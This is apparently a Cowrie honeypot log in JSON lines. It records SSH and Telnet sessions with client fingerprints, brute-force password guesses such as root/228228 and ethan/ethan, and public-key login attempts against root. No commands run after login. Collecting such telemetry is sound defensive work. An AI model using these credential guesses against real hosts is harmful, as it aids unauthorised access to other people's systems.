{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:29.821201Z","src_ip":"45.156.87.69","session":"0cd2fbf69ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.642253398895264,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:29.981459Z","src_ip":"152.42.224.71","session":"653b83e37127","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"12345678","message":"login attempt [frappe/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:30.251938Z","src_ip":"45.156.87.69","session":"0cd2fbf69ceb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:31.365940Z","src_ip":"45.156.87.69","session":"0cd2fbf69ceb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":32966,"dst_ip":"159.203.135.109","dst_port":22,"session":"9c3b207b8ae3","protocol":"ssh","message":"New connection: 193.228.128.84:32966 (159.203.135.109:22) [session: 9c3b207b8ae3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:32.713706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:32.718534Z","src_ip":"193.228.128.84","session":"9c3b207b8ae3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:32.820775Z","src_ip":"193.228.128.84","session":"9c3b207b8ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"228228","message":"login attempt [root/228228] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:33.133939Z","src_ip":"193.228.128.84","session":"9c3b207b8ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":17398,"dst_ip":"159.203.135.109","dst_port":22,"session":"71da81f9371c","protocol":"ssh","message":"New connection: 45.156.87.69:17398 (159.203.135.109:22) [session: 71da81f9371c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:33.505992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:33.512547Z","src_ip":"45.156.87.69","session":"71da81f9371c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:33.620612Z","src_ip":"45.156.87.69","session":"71da81f9371c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:34.238951Z","src_ip":"193.228.128.84","session":"9c3b207b8ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"m","password":"m","message":"login attempt [m/m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:34.523166Z","src_ip":"45.156.87.69","session":"71da81f9371c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"96.8.116.34","src_port":46384,"dst_ip":"10.17.0.5","dst_port":22,"session":"8dab4ee1b779","protocol":"ssh","message":"New connection: 96.8.116.34:46384 (10.17.0.5:22) [session: 8dab4ee1b779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.427316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.432527Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.475089Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:b0:68:25:3a:2e:3f:69:b0:5c:31:fe:f5:eb:18:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqgt1L0SW4U19htYuLV/9NIQudLeEygmswUhibWCzPAbQrJ2pBa4SECWdlqCb8E3A4UCOXLadfDmA5+BDgzDwD61Hn3ux1VitGSm1TKn+SOk83LiHRrbxubLf5vR2+9BwYqF7/g9BJOHOWHzqg9Ofg0vQWfwWjm/Gh4KYX4rys0WRUEPaIUob5RXa5SWJfcL6zVMx4oITVKkw3adx5LBUNhH7puIKhNsTC5CoSSj0Y+WflQJxZ1XGl57CeMV6EcLbQgjzvjfbo/8ZcJMQz0IOplYaeBFta6OaskS9+iLs3cAjtwPlo8gLYUlRYDQFuwp0dEaQXitMLORfytzCYWeJdw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:b0:68:25:3a:2e:3f:69:b0:5c:31:fe:f5:eb:18:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.663821Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:b0:68:25:3a:2e:3f:69:b0:5c:31:fe:f5:eb:18:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAqgt1L0SW4U19htYuLV/9NIQudLeEygmswUhibWCzPAbQrJ2pBa4SECWdlqCb8E3A4UCOXLadfDmA5+BDgzDwD61Hn3ux1VitGSm1TKn+SOk83LiHRrbxubLf5vR2+9BwYqF7/g9BJOHOWHzqg9Ofg0vQWfwWjm/Gh4KYX4rys0WRUEPaIUob5RXa5SWJfcL6zVMx4oITVKkw3adx5LBUNhH7puIKhNsTC5CoSSj0Y+WflQJxZ1XGl57CeMV6EcLbQgjzvjfbo/8ZcJMQz0IOplYaeBFta6OaskS9+iLs3cAjtwPlo8gLYUlRYDQFuwp0dEaQXitMLORfytzCYWeJdw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.667899Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.674697Z","src_ip":"45.156.87.69","session":"71da81f9371c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d5:22:31:99:ca:01:44:2a:d2:69:ee:02:4b:b5:d3:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvlH5PCX5Ghx2j4Hr0jWsHrWL68CFUEGtloEmbeCFO27fQzrKeyhvYISdVZdtVNIjU/yI7Sq1ODbwjZj3z1GjZ8g+T8X5jnUTJIGYqbbWKrNvvU/cL1Mf+oKd5SPe2h6TpvRgYCQhyiy/bssiP0KKf+/qYE+6noWdXYdbd+cZxcvh9cL2uKmG5IYwpw1yaSXRhHjzSqwof1+xktYF/yuRPbS6C5tyq+78tVeWk6mSoT8X2POnSTfTosWX9TnLdehmkN/jrr8ONm0/7znEYVWedv0jN4SuNA22/B0eilM3GWg54A9sfpvtocINDc+TUeHAutTUSQzsfY0djLxka/Kj5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d5:22:31:99:ca:01:44:2a:d2:69:ee:02:4b:b5:d3:89","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.711614Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d5:22:31:99:ca:01:44:2a:d2:69:ee:02:4b:b5:d3:89","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvlH5PCX5Ghx2j4Hr0jWsHrWL68CFUEGtloEmbeCFO27fQzrKeyhvYISdVZdtVNIjU/yI7Sq1ODbwjZj3z1GjZ8g+T8X5jnUTJIGYqbbWKrNvvU/cL1Mf+oKd5SPe2h6TpvRgYCQhyiy/bssiP0KKf+/qYE+6noWdXYdbd+cZxcvh9cL2uKmG5IYwpw1yaSXRhHjzSqwof1+xktYF/yuRPbS6C5tyq+78tVeWk6mSoT8X2POnSTfTosWX9TnLdehmkN/jrr8ONm0/7znEYVWedv0jN4SuNA22/B0eilM3GWg54A9sfpvtocINDc+TUeHAutTUSQzsfY0djLxka/Kj5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.715791Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"16:5e:13:0f:d1:3e:a9:94:53:ee:b4:de:95:a7:7c:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZxW2E9a+e8HCxtEvaDYsLkeRK4mCa1mkNAdK9YfxERs+4aL8iR3ceKo6VVFWjNZMhcBJzj0FkWynSS/yB3Pf4hQO7kpW4dqDixE6sDxDAHqtNXd7VdVvIkuW/ejk5UnzECP0/7Rx0PPRFUXmzK+dcSNPXmBEmsh/kIz7pB1nD8XKQcmQHEQPG2frL+KL62DkzW9B4bGsKubEP00Vo68HtSwH5LmtM9+HPcgRskZlwSVbI8UocjkreIhAZS/tdK74Rp9nkN9HNcBu4UKMrztWGVunpPmd8ajUn0Y1hG1tcR8u18fCQI6/akIlFXaO5C60eyCAnPsfeoWlcySc7g4Ew==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 16:5e:13:0f:d1:3e:a9:94:53:ee:b4:de:95:a7:7c:a2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.759593Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"16:5e:13:0f:d1:3e:a9:94:53:ee:b4:de:95:a7:7c:a2","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAvZxW2E9a+e8HCxtEvaDYsLkeRK4mCa1mkNAdK9YfxERs+4aL8iR3ceKo6VVFWjNZMhcBJzj0FkWynSS/yB3Pf4hQO7kpW4dqDixE6sDxDAHqtNXd7VdVvIkuW/ejk5UnzECP0/7Rx0PPRFUXmzK+dcSNPXmBEmsh/kIz7pB1nD8XKQcmQHEQPG2frL+KL62DkzW9B4bGsKubEP00Vo68HtSwH5LmtM9+HPcgRskZlwSVbI8UocjkreIhAZS/tdK74Rp9nkN9HNcBu4UKMrztWGVunpPmd8ajUn0Y1hG1tcR8u18fCQI6/akIlFXaO5C60eyCAnPsfeoWlcySc7g4Ew==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.763386Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b7:da:5a:88:ef:fd:b8:03:58:48:9b:f2:21:f6:9c:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtS/7VrA2o57sOhqqcd9wDEYg/LpyoTp7zFowyZhkNtWXvtERlvCBw6E6+/na/gsrlSr+SkMXNudJs6o0nKvdmNkN5yhuWw7U9Ngzo50MLe1vf8PGemCRZz7rxWK7Ohung1qITv/kE826L+Yf/aTcSzvluCnpKDweIP36xYfFO7F8if8+kIPcS2LqlWcktzPV/dwBliwSwL3B9JLHGNOVk13mosU7kZ039XoPnMaKDjY8BvgijyZ8t7SGUzuhnDCvR9f6rannscEtnLertFsI7j3Ewu62SYbzOSFsPbX/e+0SR/1AoYX/L5KH0fPMjwhwoa4ZgY9d9CjpMUfq8UPOlQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b7:da:5a:88:ef:fd:b8:03:58:48:9b:f2:21:f6:9c:1c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.806508Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b7:da:5a:88:ef:fd:b8:03:58:48:9b:f2:21:f6:9c:1c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAtS/7VrA2o57sOhqqcd9wDEYg/LpyoTp7zFowyZhkNtWXvtERlvCBw6E6+/na/gsrlSr+SkMXNudJs6o0nKvdmNkN5yhuWw7U9Ngzo50MLe1vf8PGemCRZz7rxWK7Ohung1qITv/kE826L+Yf/aTcSzvluCnpKDweIP36xYfFO7F8if8+kIPcS2LqlWcktzPV/dwBliwSwL3B9JLHGNOVk13mosU7kZ039XoPnMaKDjY8BvgijyZ8t7SGUzuhnDCvR9f6rannscEtnLertFsI7j3Ewu62SYbzOSFsPbX/e+0SR/1AoYX/L5KH0fPMjwhwoa4ZgY9d9CjpMUfq8UPOlQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.810792Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:36:e5:de:8a:9b:55:e6:7b:cf:59:11:5a:a7:93:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3P6DvdJm21zyHwIJ655Gbc7k8P3S0XObR4oGg2l1LRjhRGAJ41qUglXQRcN8zDDQlpdq71/faT6R19+OaA370xgQ/nvaAxh+/kaE0iSuRbXEH1H4/iZzxNnxTR932n+sZQ+ouvkmj8/e8llBbzNZN38LeIFSzUWOk/vfScqi1xUI3t9/F7F22O6t9nHeFsn2pZnovtUQGfHhBugQRnnlS3MLAEcoIrkyLYAZYUkBUS95bhAm645rxiQoqpymxNk9iELW8dHZfz1FDd07ksHnDHXh4t01alfh6t9+HXe7iYGeOlkNn4mp7bJ3fcf08Fs65kKgJs/+UJc1UydojcYvrQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:36:e5:de:8a:9b:55:e6:7b:cf:59:11:5a:a7:93:44","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.853281Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fb:36:e5:de:8a:9b:55:e6:7b:cf:59:11:5a:a7:93:44","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA3P6DvdJm21zyHwIJ655Gbc7k8P3S0XObR4oGg2l1LRjhRGAJ41qUglXQRcN8zDDQlpdq71/faT6R19+OaA370xgQ/nvaAxh+/kaE0iSuRbXEH1H4/iZzxNnxTR932n+sZQ+ouvkmj8/e8llBbzNZN38LeIFSzUWOk/vfScqi1xUI3t9/F7F22O6t9nHeFsn2pZnovtUQGfHhBugQRnnlS3MLAEcoIrkyLYAZYUkBUS95bhAm645rxiQoqpymxNk9iELW8dHZfz1FDd07ksHnDHXh4t01alfh6t9+HXe7iYGeOlkNn4mp7bJ3fcf08Fs65kKgJs/+UJc1UydojcYvrQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.857376Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:35.900414Z","src_ip":"96.8.116.34","session":"8dab4ee1b779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.69","src_port":50124,"dst_ip":"159.203.135.109","dst_port":22,"session":"f155c4b74af6","protocol":"ssh","message":"New connection: 45.156.87.69:50124 (159.203.135.109:22) [session: f155c4b74af6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:37.296544Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:37.300617Z","src_ip":"45.156.87.69","session":"f155c4b74af6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:37.410527Z","src_ip":"45.156.87.69","session":"f155c4b74af6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethan","password":"ethan","message":"login attempt [ethan/ethan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:38.098075Z","src_ip":"45.156.87.69","session":"f155c4b74af6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:53:39.191139Z","src_ip":"45.156.87.69","session":"f155c4b74af6","protocol":"ssh"}
